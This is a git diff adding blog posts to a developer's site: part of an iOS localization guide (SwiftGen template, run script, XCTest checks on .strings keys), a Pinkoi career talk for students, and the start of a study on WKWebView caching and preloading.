+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+
// swiftlint:disable all
+// Generated using SwiftGen — https://github.com/SwiftGen/SwiftGen
+
+{% if tables.count > 0 %}
+{% set accessModifier %}{% if param.publicAccess %}public{% else %}internal{% endif %}{% endset %}
+import Foundation
+
+// swiftlint:disable superfluous_disable_command file_length implicit_return
+
+// MARK: - Strings
+
+{% macro parametersBlock types %}{% filter removeNewlines:"leading" %}
+  {% for type in types %}
+    {% if type == "String" %}
+    _ p{{forloop.counter}}: Any
+    {% else %}
+    _ p{{forloop.counter}}: {{type}}
+    {% endif %}
+    {{ ", " if not forloop.last }}
+  {% endfor %}
+{% endfilter %}{% endmacro %}
+{% macro argumentsBlock types %}{% filter removeNewlines:"leading" %}
+  {% for type in types %}
+    {% if type == "String" %}
+    String(describing: p{{forloop.counter}})
+    {% elif type == "UnsafeRawPointer" %}
+    Int(bitPattern: p{{forloop.counter}})
+    {% else %}
+    p{{forloop.counter}}
+    {% endif %}
+    {{ ", " if not forloop.last }}
+  {% endfor %}
+{% endfilter %}{% endmacro %}
+{% macro recursiveBlock table item %}
+  {% for string in item.strings %}
+  {% if not param.noComments %}
+  {% for line in string.translation|split:"\n" %}
+  /// {{line}}
+  {% endfor %}
+  {% endif %}
+  {% if string.types %}
+  {{accessModifier}} static func {{string.key|swiftIdentifier:"pretty"|lowerFirstWord|escapeReservedKeywords}}({% call parametersBlock string.types %}) -> String {
+    return {{enumName}}.tr("{{table}}", "{{string.key}}", {% call argumentsBlock string.types %})
+  }
+  {% elif param.lookupFunction %}
+  {# custom localization function is mostly used for in-app lang selection, so we want the loc to be recomputed at each call for those (hence the computed var) #}
+  {{accessModifier}} static var {{string.key|swiftIdentifier:"pretty"|lowerFirstWord|escapeReservedKeywords}}: String { return {{enumName}}.tr("{{table}}", "{{string.key}}") }
+  {% else %}
+  {{accessModifier}} static let {{string.key|swiftIdentifier:"pretty"|lowerFirstWord|escapeReservedKeywords}} = {{enumName}}.tr("{{table}}", "{{string.key}}")
+  {% endif %}
+  {% endfor %}
+  {% for child in item.children %}
+  {% call recursiveBlock table child %}
+  {% endfor %}
+{% endmacro %}
+// swiftlint:disable function_parameter_count identifier_name line_length type_body_length
+{% set enumName %}{{param.enumName|default:"L10n"}}{% endset %}
+@objcMembers {{accessModifier}} class {{enumName}}: NSObject {
+  {% if tables.count > 1 or param.forceFileNameEnum %}
+  {% for table in tables %}
+  {{accessModifier}} enum {{table.name|swiftIdentifier:"pretty"|escapeReservedKeywords}} {
+    {% filter indent:2 %}{% call recursiveBlock table.name table.levels %}{% endfilter %}
+  }
+  {% endfor %}
+  {% else %}
+  {% call recursiveBlock tables.first.name tables.first.levels %}
+  {% endif %}
+}
+// swiftlint:enable function_parameter_count identifier_name line_length type_body_length
+
+// MARK: - Implementation Details
+
+extension {{enumName}} {
+  private static func tr(_ table: String, _ key: String, _ args: CVarArg...) -> String {
+    {% if param.lookupFunction %}
+    let format = {{ param.lookupFunction }}(key, table)
+    {% else %}
+    let format = {{param.bundle|default:"BundleToken.bundle"}}.localizedString(forKey: key, value: nil, table: table)
+    {% endif %}
+    return String(format: format, locale: Locale.current, arguments: args)
+  }
+}
+{% if not param.bundle and not param.lookupFunction %}
+
+// swiftlint:disable convenience_type
+private final class BundleToken {
+  static let bundle: Bundle = {
+    #if SWIFT_PACKAGE
+    return Bundle.module
+    #else
+    return Bundle(for: BundleToken.self)
+    #endif
+  }()
+}
+// swiftlint:enable convenience_type
+{% endif %}
+{% else %}
+// No string found
+{% endif %}
+

The above provides a template collected from the internet and customized to be compatible with Swift and Objective-C. You can create a flat-swift5-objc.stencil file and paste the content or click here to download the .zip.

If you use a custom template, you won’t use templateName, but instead declare templatePath:

swiftgen.yml:

1
+2
+3
+4
+5
+6
+7
+8
+
strings:
+  - inputs:
+      - "L10NTests/Supporting Files/zh-Hant.lproj/Localizable.strings"
+    outputs:
+      templatePath: "path/to/flat-swift5-objc.stencil"
+      output: "L10NTests/Supporting Files/SwiftGen-L10n.swift"
+      params:
+        enumName: "L10n"
+

Specify the templatePath to the location of the .stencil template in the project.

Generator

After setting it up, you can manually run in Terminal:

1
+
/L10NTests/Pods/SwiftGen/bin/swiftGen
+

Execute the conversion. After the first conversion, manually drag the converted result file (SwiftGen-L10n.swift) from Finder into the project so the program can use it.

Run Script

In the project settings -> Build Phases -> + -> New Run Script Phases -> paste:

1
+2
+3
+4
+5
+6
+
if [[ -f "${PODS_ROOT}/SwiftGen/bin/swiftgen" ]]; then
+  echo "${PODS_ROOT}/SwiftGen/bin/swiftgen"
+  "${PODS_ROOT}/SwiftGen/bin/swiftgen"
+else
+  echo "warning: SwiftGen is not installed. Run 'pod install --repo-update' to install it."
+fi
+

This way, the generator will run and produce the latest conversion results every time the project is built.

How to use in CodeBase?

1
+2
+
L10n.homeTitle
+L10n.homeDescription("ZhgChgLi") // with arg
+

With Object Access, there will be no typos, and keys used in the code but not declared in the Localizable.strings file will not occur.

However, SwiftGen can only generate from a specific language, so it cannot prevent the situation where a key exists in the generated language but is forgotten in other languages. This situation can only be protected by the following UnitTest.

Conversion

Conversion is the most challenging part of this issue because a project that has already been developed extensively uses NSLocalizedString. Converting it to the new L10n.XXX format is complex, especially for sentences with parameters String(format: NSLocalizedString. Additionally, if Objective-C is mixed in, you must consider the different syntax between Objective-C and Swift.

There is no special solution; you can only write a Command Line Tool yourself. Refer to the previous article on using Swift to scan the project directory and parse NSLocalizedString with Regex to write a small tool for conversion.

It is recommended to convert one scenario at a time, ensuring it can build before converting the next one.

  • Swift -> NSLocalizedString without parameters
  • Swift -> NSLocalizedString with parameters
  • Objective-C -> NSLocalizedString without parameters
  • Objective-C -> NSLocalizedString with parameters

Use UnitTest to check for missing or duplicate keys in each language file compared to the main language file

We can write UniTest to read the contents of the .strings file from the Bundle and test it.

Read .strings from Bundle and convert to object:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+
class L10NTestsTests: XCTestCase {
+    
+    private var localizations: [Bundle: [Localization]] = [:]
+    
+    override func setUp() {
+        super.setUp()
+        
+        let bundles = [Bundle(for: type(of: self))]
+        
+        //
+        bundles.forEach { bundle in
+            var localizations: [Localization] = []
+            
+            bundle.localizations.forEach { lang in
+                var localization = Localization(lang: lang)
+                
+                if let lprojPath = bundle.path(forResource: lang, ofType: "lproj"),
+                   let lprojBundle = Bundle(path: lprojPath) {
+                    
+                    let filesInLPROJ = (try? FileManager.default.contentsOfDirectory(atPath: lprojBundle.bundlePath)) ?? []
+                    localization.localizableStringFiles = filesInLPROJ.compactMap { fileFullName -> L10NTestsTests.Localization.LocalizableStringFile? in
+                        let fileName = URL(fileURLWithPath: fileFullName).deletingPathExtension().lastPathComponent
+                        let fileExtension = URL(fileURLWithPath: fileFullName).pathExtension
+                        guard fileExtension == "strings" else { return nil }
+                        guard let path = lprojBundle.path(forResource: fileName, ofType: fileExtension) else { return nil }
+                        
+                        return L10NTestsTests.Localization.LocalizableStringFile(name: fileFullName, path: path)
+                    }
+                    
+                    localization.localizableStringFiles.enumerated().forEach { (index, localizableStringFile) in
+                        if let fileContent = try? String(contentsOfFile: localizableStringFile.path, encoding: .utf8) {
+                            let lines = fileContent.components(separatedBy: .newlines)
+                            let pattern = "\"(.*)\"(\\s*)(=){1}(\\s*)\"(.+)\";"
+                            let regex = try? NSRegularExpression(pattern: pattern, options: [])
+                            let values = lines.compactMap { line -> Localization.LocalizableStringFile.Value? in
+                                let range = NSRange(location: 0, length: (line as NSString).length)
+                                guard let matches = regex?.firstMatch(in: line, options: [], range: range) else { return nil }
+                                let key = (line as NSString).substring(with: matches.range(at: 1))
+                                let value = (line as NSString).substring(with: matches.range(at: 5))
+                                return Localization.LocalizableStringFile.Value(key: key, value: value)
+                            }
+                            localization.localizableStringFiles[index].values = values
+                        }
+                    }
+                    
+                    localizations.append(localization)
+                }
+            }
+            
+            self.localizations[bundle] = localizations
+        }
+    }
+}
+
+private extension L10NTestsTests {
+    struct Localization: Equatable {
+        struct LocalizableStringFile {
+            struct Value {
+                let key: String
+                let value: String
+            }
+            
+            let name: String
+            let path: String
+            var values: [Value] = []
+        }
+        
+        let lang: String
+        var localizableStringFiles: [LocalizableStringFile] = []
+        
+        static func == (lhs: Self, rhs: Self) -> Bool {
+            return lhs.lang == rhs.lang
+        }
+    }
+}
+

We defined a Localization to store the parsed data, find lproj from the Bundle, then find .strings from it, and then use regular expressions to convert multilingual sentences into objects and put them back into Localization for subsequent testing.

Here are a few things to note:

  • Use Bundle(for: type(of: self)) to get resources from the Test Target
  • Remember to set the STRINGS_FILE_OUTPUT_ENCODING of the Test Target to UTF-8, otherwise, reading the file content using String will fail (the default is Binary)
  • The reason for using String to read instead of NSDictionary is that we need to test for duplicate Keys, and using NSDictionary will overwrite duplicate Keys when reading
  • Remember to add the .strings File to the Test Target

TestCase 1. Test for duplicate Keys in the same .strings file:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+
func testNoDuplicateKeysInSameFile() throws {
+    localizations.forEach { (_, localizations) in
+        localizations.forEach { localization in
+            localization.localizableStringFiles.forEach { localizableStringFile in
+                let keys = localizableStringFile.values.map { $0.key }
+                let uniqueKeys = Set(keys)
+                XCTAssertTrue(keys.count == uniqueKeys.count, "Localized Strings File: \(localizableStringFile.path) has duplicated keys.")
+            }
+        }
+    }
+}
+

Input:

Result:

TestCase 2. Compare with DevelopmentLocalization language to check for missing/redundant Keys:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+
func testCompareWithDevLangHasMissingKey() throws {
+    localizations.forEach { (bundle, localizations) in
+        let developmentLang = bundle.developmentLocalization ?? "en"
+        if let developmentLocalization = localizations.first(where: { $0.lang == developmentLang }) {
+            let othersLocalization = localizations.filter { $0.lang != developmentLang }
+            
+            developmentLocalization.localizableStringFiles.forEach { developmentLocalizableStringFile in
+                let developmentLocalizableKeys = Set(developmentLocalizableStringFile.values.map { $0.key })
+                othersLocalization.forEach { otherLocalization in
+                    if let otherLocalizableStringFile = otherLocalization.localizableStringFiles.first(where: { $0.name == developmentLocalizableStringFile.name }) {
+                        let otherLocalizableKeys = Set(otherLocalizableStringFile.values.map { $0.key })
+                        if developmentLocalizableKeys.count < otherLocalizableKeys.count {
+                            XCTFail("Localized Strings File: \(otherLocalizableStringFile.path) has redundant keys.")
+                        } else if developmentLocalizableKeys.count > otherLocalizableKeys.count {
+                            XCTFail("Localized Strings File: \(otherLocalizableStringFile.path) has missing keys.")
+                        }
+                    } else {
+                        XCTFail("Localized Strings File not found in Lang: \(otherLocalization.lang)")
+                    }
+                }
+            }
+        } else {
+            XCTFail("developmentLocalization not found in Bundle: \(bundle)")
+        }
+    }
+}
+

Input: (Compared to DevelopmentLocalization, other languages lack the declaration Key)

Output:

Input: (DevelopmentLocalization does not have this Key, but it appears in other languages)

Output:

Summary

Combining the above methods, we use:

  • The new version of XCode to ensure the correctness of the .strings file format ✅
  • SwiftGen to ensure that the CodeBase does not reference multilingual content incorrectly or without declaration ✅
  • UnitTest to ensure the correctness of multilingual content ✅

Advantages:

  • Fast execution speed, does not slow down Build Time
  • Maintained by all iOS developers

Advanced

Localized File Format

This solution cannot be achieved, and the original Command Line Tool written in Swift is still needed. However, the Format part can be done in git pre-commit; if there is no diff adjustment, it will not be done to avoid running once every build:

1
+2
+3
+4
+5
+6
+7
+8
+
#!/bin/sh
+
+diffStaged=${1:-\-\-staged} # use $1 if exist, default --staged.
+
+git diff --diff-filter=d --name-only $diffStaged | grep -e 'Localizable.*\.\(strings\|stringsdict\)$' | \
+  while read line; do
+    // do format for ${line}
+done
+

.stringdict

The same principle can be applied to .stringdict

CI/CD

swiftgen does not need to be placed in the build phase, as it runs every build, and the code appears only after the build is complete. It can be changed to generate the command only when there are adjustments.

Clearly identify which Key is wrong

The UnitTest program can be optimized to output clearly which Key is Missing/Redundant/Duplicate.

Use third-party tools to completely free engineers from multilingual work

As mentioned in the previous talk “ 2021 Pinkoi Tech Career Talk — High-Efficiency Engineering Team Unveiled “, in large teams, multilingual work can be separated through third-party services, reducing the dependency on multilingual work.

Engineers only need to define the Key, and multilingual content will be automatically imported from the platform during the CI/CD stage, reducing the manual maintenance phase and making it less prone to errors.

Special Thanks

[Wei Cao](https://www.linkedin.com/in/wei-cao-67b5b315a/){:target="_blank"} , iOS Developer @ Pinkoi

Wei Cao , iOS Developer @ Pinkoi

For any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Visitor Pattern in TableView

Painless Migration from Medium to Self-Hosted Website

diff --git a/posts/4b9d09cea5f0/index.html b/posts/4b9d09cea5f0/index.html new file mode 100644 index 0000000000..913b00cfa3 --- /dev/null +++ b/posts/4b9d09cea5f0/index.html @@ -0,0 +1 @@ + Pinkoi 2022 Open House for GenZ — 15 Mins Career Talk | ZhgChgLi
Home Pinkoi 2022 Open House for GenZ — 15 Mins Career Talk
Post
Cancel

Pinkoi 2022 Open House for GenZ — 15 Mins Career Talk

Pinkoi 2022 Open House for GenZ — 15 Mins Career Talk

Pinkoi Developers’ Night 2022 Year-End Exchange Meeting — 15 Minutes Career Sharing Talk

Pinkoi Developers’ Night 2022 Year-End Exchange Meeting

Event Link: Linkedin

Main Audience: Students from various universities and colleges majoring in information-related fields

Location and Time: 2022/12/01 7:00 PM — 9:00 PM

Sharing Duration: 15 mins

About Me

Currently serving as Pinkoi Platform (App) Engineer Lead and iOS Engineer, previously worked at StreetVoice, Addcn Technology (listed company 5287), Startup; self-taught web programming since vocational high school, won the National Skills Competition web design category championship and was a reserve national representative, graduated from the Department of Information Management at National Taiwan University of Science and Technology, transitioned to iOS App development in 2017.

Passionate about exploration and technical exchange, also writes about daily life or unboxing experiences, welcome to follow my Medium Blog.

Pinkoi Engineer Daily Life — Products

Pinkoi products support desktop, mobile, iOS, Android platforms, and six languages: Traditional Chinese, Hong Kong Traditional, Simplified Chinese, Japanese, Thai, and English.

Behind the scenes, there are 8+ squad teams responsible for different aspects of work, such as: Buyer Squad for the buyer side, Seller Squad for the seller side, Platform Squad for the underlying platform, AI Squad for algorithms, etc., working together to build Pinkoi products.

Pinkoi Engineer Daily Life — Tools

Note: This image does not represent a comprehensive or up-to-date Tech Stack

Note: This image does not represent a comprehensive or up-to-date Tech Stack

To do a good job, one must first sharpen one’s tools. The above image lists the Tech Stack and tools/services used by the Pinkoi development team; it also lists cross-team collaboration tools such as Slack, Asana, Figma, etc.

As the team size grows, there will be more times when communication or repetitive work is needed. At this time, by introducing tool services, we can effectively untangle the connections between people and increase team work efficiency.

Pinkoi Engineer Daily — Behind the “Success” and “Merit”

At Pinkoi, although engineers are assigned to various Squad Teams, they still work together with one heart, Win as a team, we are still the same family.

Pinkoi Engineer Daily — Behind the “Success” and “Merit”

Teammates with the same functions (e.g. iOS/Android/BE/FE/Data…) not only hold regular technical exchange sharing sessions, but also conduct Code Reviews and System Design discussions in daily development; discussing together, growing together!

The “Guai Guai” tattoo sticker in the middle of the picture is a blessing ceremony for the launch of the team’s “Gift List” feature and the “2022 Pinkoi Design Fest” event, ensuring the service is safe and stable.

How do Engineers help advance business goals?

In addition to completing tasks, Engineers have many ways to help advance business goals:

First, aside from the Engineer role, starting from oneself; we can propose our own life usage experiences and various creative ideas during the project planning period. For example, observing friends’ usage habits or new trendy cool things (e.g. iOS 16 Dynamic Island), brainstorming together might turn an ordinary feature into a new highlight!

Then back to engineering itself, the first is of course the essential development ability. Good development ability can maintain scalability and stability, reduce technical debt, and lower future maintenance costs, indirectly increasing business value. Similarly, the correct technical choices can maximize value with limited development resources; all these require a lot of hard skills and experience accumulation.

In addition, leveraging communication and coordination skills can make cross-engineering discussions more efficient, and leveraging collaboration skills can reduce rework; all can greatly increase team output and further advance business goals.

In summary, engineers definitely do not only create value by writing code.

How do Engineers help advance business goals?

At Pinkoi, Squad Team Sync-ups or project discussion meetings involve not only engineers but also designers, PMs, and analysts, participating in project discussions together; everyone can propose their own ideas, sparking different inspirations.

As an Engineer, why choose to join a startup culture rather than a traditional large company…?

From personal experience, startup culture (also in Pinkoi) has five characteristics:

  • Transparency Everyone can clearly know the company’s operating status, decisions, and future plans.
  • Equality Flat management, no hierarchical pressure. Everyone can express opinions and participate in discussions regardless of position.
  • Vision Grow with the team, from a small team to an international team, broadening horizons. Combining transparency and equality, you can understand more aspects of the details.
  • Flexibility - Flexibility in work: Flexible working hours, WFH flexibility, or flexible discussion space in communication and collaboration. - Flexibility in roles: More flexibility to try different possibilities. More flexibility for promotions.
  • Vibrancy The average age is relatively young and energetic, making it easier to resonate and spark ideas, and more likely to promote and accept changes.

These characteristics are relatively rare in traditional large companies. Traditional companies are mostly more closed and rigid, with little room for suggestions, limited things to see and do, and more resistant to new changes and attempts; it is relatively difficult for energetic newcomers to perform.

A little advice for fresh graduates who want to become software engineers…

Engineer at 28 vs. Engineer at 46 (Elon Musk was also an engineer); although it’s a meme, it means that what kind of engineer you want to become is up to you.

A little advice for fresh graduates who want to become software engineers…

Besides having lean development skills, I believe the mindset is even more important. Life is a journey with many stages and roles to fulfill. The first is to constantly step out of your comfort zone and be prepared to face higher challenges. For example, I initially started as a backend engineer, then transitioned to iOS development, and now I’m starting to take on management roles.

The second is the exploration of direction. Do not limit yourself; everyone has infinite possibilities. You can continuously adjust to find the direction that suits you and shine in your area of expertise. We have teammates who switched to engineering later in their careers or transitioned from designers to PMs. Additionally, think about what role you want to play at 30 or 40 years old, such as continuing to delve into technology to become an architect/Tech Lead or taking on management roles.

Also, lifelong learning is essential. Knowledge is endless, especially in the information industry, which is ever-changing. Without seeking innovation and change, it’s easy to be eliminated by the industry.

Lastly, maintaining a balance between work and life is also crucial. Work Hard, Play Hard not only improves work efficiency but also allows you to draw inspiration from life experiences. As mentioned earlier, a small idea might change the world and create higher commercial value!

I advise newcomers to choose carefully for their first few jobs. The sunk cost is very low when you first enter society. Prioritize finding a job where you can learn something. Try to join companies that develop their own products (e.g., Pinkoi /Line/StreetVoice…) and avoid changing jobs too frequently (stay for at least a year). This will be very beneficial for your future career.

Life is long, and I hope everyone finds their own path. Thank you.

Join Pinkoi now »> https://www.pinkoi.com/about/careers

Behind the Scenes

If you have any questions or feedback, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

ZReviewTender — Free Open Source App Reviews Monitoring Bot

ZMarkupParser HTML String to NSAttributedString Tool

diff --git a/posts/5033090c18ba/index.html b/posts/5033090c18ba/index.html new file mode 100644 index 0000000000..f0fd0a0623 --- /dev/null +++ b/posts/5033090c18ba/index.html @@ -0,0 +1,389 @@ + Research on Preloading and Caching Page and File Resources in iOS WKWebView | ZhgChgLi
Home Research on Preloading and Caching Page and File Resources in iOS WKWebView
Post
Cancel

Research on Preloading and Caching Page and File Resources in iOS WKWebView

Research on Preloading and Caching Page and File Resources in iOS WKWebView

Study on improving page loading speed by preloading and caching resources in iOS WKWebView.

Photo by [Antoine Gravier](https://unsplash.com/@antoine_gravphotos?utm_content=creditCopyText&utm_medium=referral&utm_source=unsplash){:target="_blank"}

Photo by Antoine Gravier

Background

For some reason, I have always been quite connected to “Cache”. I have previously been responsible for researching and implementing the “ iOS HLS Cache Implementation Journey “ and “ Comprehensive Guide to Implementing Local Cache Functionality in AVPlayer “ for AVPlayer; Unlike streaming caching, which aims to reduce playback traffic, this time the main task is to improve the loading speed of In-app WKWebView, which also involves research on preloading and caching in WKWebView; However, to be honest, the scenario of WKWebView is more complex. Unlike AVPlayer, which streams audio and video as one or more continuous Chunk files, only file caching is needed, WKWebView not only has its own page files but also imported resource files ( .js, .css, font, image…) which are rendered by the Browser Engine to present the page to the user. There are too many aspects in between that the App cannot control, from network to frontend page JavaScript syntax performance, rendering methods, all of which require time.

This article is only a study on the feasibility of iOS technology, and it may not be the final solution. In general, it is recommended that frontend developers start from the frontend to achieve a significant effect, please optimize the time it takes for the first content to appear on the screen (First Contentful Paint) and improve the HTTP Cache mechanism. On the one hand, it can speed up the Web/mWeb itself, affect the speed of Android/iOS in-app WebView, and also improve Google SEO ranking.

Technical Details

iOS Restrictions

According to Apple Review Guidelines 2.5.6:

Apps that browse the web must use the appropriate WebKit framework and WebKit JavaScript. You may apply for an entitlement to use an alternative web browser engine in your app. Learn more about these entitlements.

Apps can only use the WebKit framework provided by Apple (WKWebView) and are not allowed to use third-party or modified WebKit engines. Otherwise, they will not be allowed on the App Store; starting from iOS 17.4, to comply with regulations, the EU region can use other Browser Engines after obtaining special permission from Apple.

If Apple doesn’t allow it, we can’t do it either.

[Unverified] Information suggests that even the iOS versions of Chrome and Firefox can only use Apple WebKit (WKWebView).

Another very important thing to note:

WKWebView runs on a separate thread outside the main app thread, so all requests and operations do not go through our app.

HTTP Cache Flow

The HTTP protocol includes a Cache protocol, and the system has already implemented a Cache mechanism in all components related to the network (URLSession, WKWebView…). Therefore, the Client App does not need to implement anything, and it is not recommended for anyone to create their own Cache mechanism. Directly following the HTTP protocol is the fastest, most stable, and most effective approach.

The general operation process of HTTP Cache is as shown in the diagram above:

  1. Client initiates a request.
  2. Server responds with Cache strategy in the Response Header. The system URLSession, WKWebView, etc., will automatically cache the response based on the Cache Header, and subsequent requests will also automatically apply this strategy.
  3. When requesting the same resource again, if the cache has not expired, the response will be directly retrieved from local cache in memory or disk and sent back to the app.
  4. If the content has expired (expiration does not mean invalid), a real network request is made to the server. If the content has not changed (still valid even if expired), the server will respond with 304 Not Modified (Empty Body). Although a network request is made, it is basically a millisecond response with no Response Body, resulting in minimal traffic consumption.
  5. If the content has changed, new data and Cache Header will be provided again.

In addition to local cache, there may also be network caches on Network Proxy Servers or along the way.

Common HTTP Response Cache Header parameters:

1
+2
+3
+4
+5
+
expires: RFC 2822 date
+pragma: no-cache
+# Newer parameters:
+cache-control: private/public/no-store/no-cache/max-age/s-max-age/must-revalidate/proxy-revalidate...
+etag: XXX
+

Common HTTP Request Cache Header parameters:

1
+2
+
If-Modified-Since: 2024-07-18 13:00:00
+IF-None-Match: 1234
+

In iOS, network-related components (URLSession, WKWebView…) handle HTTP Request/Response Cache Headers automatically and manage caching, so we do not need to handle Cache Header parameters ourselves.

For more detailed information on how HTTP Cache works, refer to “Understanding the Progressive Understanding of HTTP Cache Mechanism by Huli”.

iOS WKWebView Overview

Returning to iOS, since we can only use Apple WebKit, we can only explore ways to achieve preloading and caching through methods provided by Apple’s WebKit.

The image above provides an overview of all Apple iOS WebKit (WKWebView) related methods introduced by ChatGPT 4o, along with brief explanations. The green section pertains to methods related to data storage.

Sharing a few interesting methods:

  • WKProcessPool: Allows sharing of resources, data, cookies, etc., among multiple WKWebViews.
  • WKHTTPCookieStore: Manages WKWebView Cookies, cookies between WKWebViews, or URLSession Cookies within the app.
  • WKWebsiteDataStore: Manages website cache files. (Read-only information and clearing)
  • WKURLSchemeHandler: Registers custom Handlers to process unrecognized URL Schemes by WKWebView.
  • WKContentWorld: Manages injected JavaScript (WKUserScript) scripts in groups.
  • WKFindXXX: Controls page search functionality.
  • WKContentRuleListStore: Implements content blockers within WKWebView (e.g., ad blocking).

Feasibility Study of Preloading Cache for iOS WKWebView

Improving HTTP Cache ✅

As introduced in the previous section on the HTTP Cache mechanism, we can ask the Web Team to enhance the HTTP Cache settings for the activity pages. On the client iOS side, we only need to check the CachePolicy setting, as everything else has been taken care of by the system!

CachePolicy Settings

URLSession:

1
+2
+3
+
let configuration = URLSessionConfiguration.default
+configuration.requestCachePolicy = .useProtocolCachePolicy
+let session = URLSession(configuration: configuration)
+

URLRequest/WKWebView:

1
+2
+3
+4
+
var request = URLRequest(url: url)
+request.cachePolicy = .reloadRevalidatingCacheData
+//
+wkWebView.load(request)
+
  • useProtocolCachePolicy: Default, follows default HTTP Cache control.
  • reloadIgnoringLocalCacheData: Does not use local cache, loads data from the network every time (but allows network, Proxy cache…).
  • reloadIgnoringLocalAndRemoteCacheData: Always loads data from the network, regardless of local or remote cache.
  • returnCacheDataElseLoad: Uses cached data if available, otherwise loads data from the network.
  • returnCacheDataDontLoad: Only uses cached data, does not make a network request if no cached data is available.
  • reloadRevalidatingCacheData: Sends a request to check if the local cache is expired, if not expired (304 Not Modified), uses cached data, otherwise reloads data from the network.

Setting Cache Size

App-wide:

1
+2
+3
+4
+5
+
let memoryCapacity = 512 * 1024 * 1024 // 512 MB
+let diskCapacity = 10 * 1024 * 1024 * 1024 // 10 GB
+let urlCache = URLCache(memoryCapacity: memoryCapacity, diskCapacity: diskCapacity, diskPath: "myCache")
+        
+URLCache.shared = urlCache
+

Individual URLSession:

1
+2
+3
+4
+5
+6
+
let memoryCapacity = 512 * 1024 * 1024 // 512 MB
+let diskCapacity = 10 * 1024 * 1024 * 1024 // 10 GB
+let cache = URLCache(memoryCapacity: memoryCapacity, diskCapacity: diskCapacity, diskPath: "myCache")
+        
+let configuration = URLSessionConfiguration.default
+configuration.urlCache = cache
+

Additionally, as mentioned earlier, WKWebView runs on a separate thread outside the main thread of the app, so the cache of URLRequest, URLSession is not shared with WKWebView.

How to Use Safari Developer Tools in WKWebView ?

Check if local Cache is being used.

Enable Developer Features in Safari:

Enable isInspectable in WKWebView:

1
+2
+3
+4
+5
+
func makeWKWebView() -> WKWebView {
+ let webView = WKWebView(frame: .zero)
+ webView.isInspectable = true // is only available in ios 16.4 or newer
+ return webView
+}
+

Add webView.isInspectable = true to WKWebView to use Safari Developer Tools in Debug Build versions.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+
![p.s. This is my test WKWebView project opened separately](/assets/5033090c18ba/1*6E6AfdFW3w7nvO2VlbhRCA.png)
+
+p.s. This is my test WKWebView project opened separately
+
+Set a breakpoint at `webView.load`.
+
+**Start Testing:**
+
+Build & Run:
+
+![](/assets/5033090c18ba/1*8jCKl-UzSLrfjy9IAm26pA.png)
+
+When the execution reaches the breakpoint at `webView.load`, click "Step Over".
+
+![](/assets/5033090c18ba/1*LAX4hrwffthRAtK-_9Q42A.png)
+
+Go back to Safari, select "Develop" in the toolbar -> "Simulator" -> "Your Project" -> "about:blank".
+- Since the page has not started loading, the URL will be about:blank.
+- If about:blank does not appear, go back to XCode and click the "Step Over" button again until it appears.
+
+Developer tools corresponding to the page will appear:
+
+![](/assets/5033090c18ba/1*kde2nIvjC8CxFBIcoVhXqg.png)
+
+Return to XCode and click "Continue Execution":
+
+![](/assets/5033090c18ba/1*PtAMLX46fNwFDfF7lidyaA.png)
+
+Go back to Safari, and in the developer tools, you can see the resource loading status and full developer tools functionality (components, storage space debugging, etc.).
+
+![](/assets/5033090c18ba/1*l0vGOvT2UupVCvf4MrLgUA.png)
+
+**If there is HTTP Cache for network resources, the transmitted size will display as "Disk":**
+
+![](/assets/5033090c18ba/1*TMIPgtC2SVYzEmBD_xPQ_A.png)
+
+![](/assets/5033090c18ba/1*KNbus1iFkCl4HjWThyYoew.png)
+
+You can also view cache information by clicking inside.
+
+#### Clear WKWebView Cache
+```swift
+// Clean Cookies
+HTTPCookieStorage.shared.removeCookies(since: Date.distantPast)
+
+// Clean Stored Data, Cache Data
+let dataTypes = WKWebsiteDataStore.allWebsiteDataTypes()
+let store = WKWebsiteDataStore.default()
+store.fetchDataRecords(ofTypes: dataTypes) { records in
+ records.forEach { record in
+  store.removeData(
+   ofTypes: record.dataTypes,
+   for: records,
+   completionHandler: {
+          print("clearWebViewCache() - \(record)")           
+   }
+  )
+ }
+}
+

Use the above method to clear cached resources, local data, and cookie data in WKWebView.

However, improving HTTP Cache only achieves caching (faster on subsequent visits), and preloading (first visit) will not be affected.

Improve HTTP Cache + WKWebView Preload Entire Page 😕

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+
class WebViewPreloader {
+    static let shared = WebViewPreloader()
+
+    private var _webview: WKWebView = WKWebView()
+
+    private init() { }
+
+    func preload(url: URL) {
+        let request = URLRequest(url: url)
+        Task { @MainActor in
+            webview.load(request)
+        }
+    }
+}
+
+WebViewPreloader.shared.preload("https://zhgchg.li/campaign/summer")
+

After improving HTTP Cache, the second time loading WKWebView will be cached. We can preload all the URLs in the list or homepage in advance to have them cached, making it faster for users when they enter.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+
+> **_After testing, it is theoretically feasible; but the performance impact and network traffic loss are too significant_** _; Users may not even go to the detailed page, but we preload all pages to feel a bit like shooting in the dark._ 
+
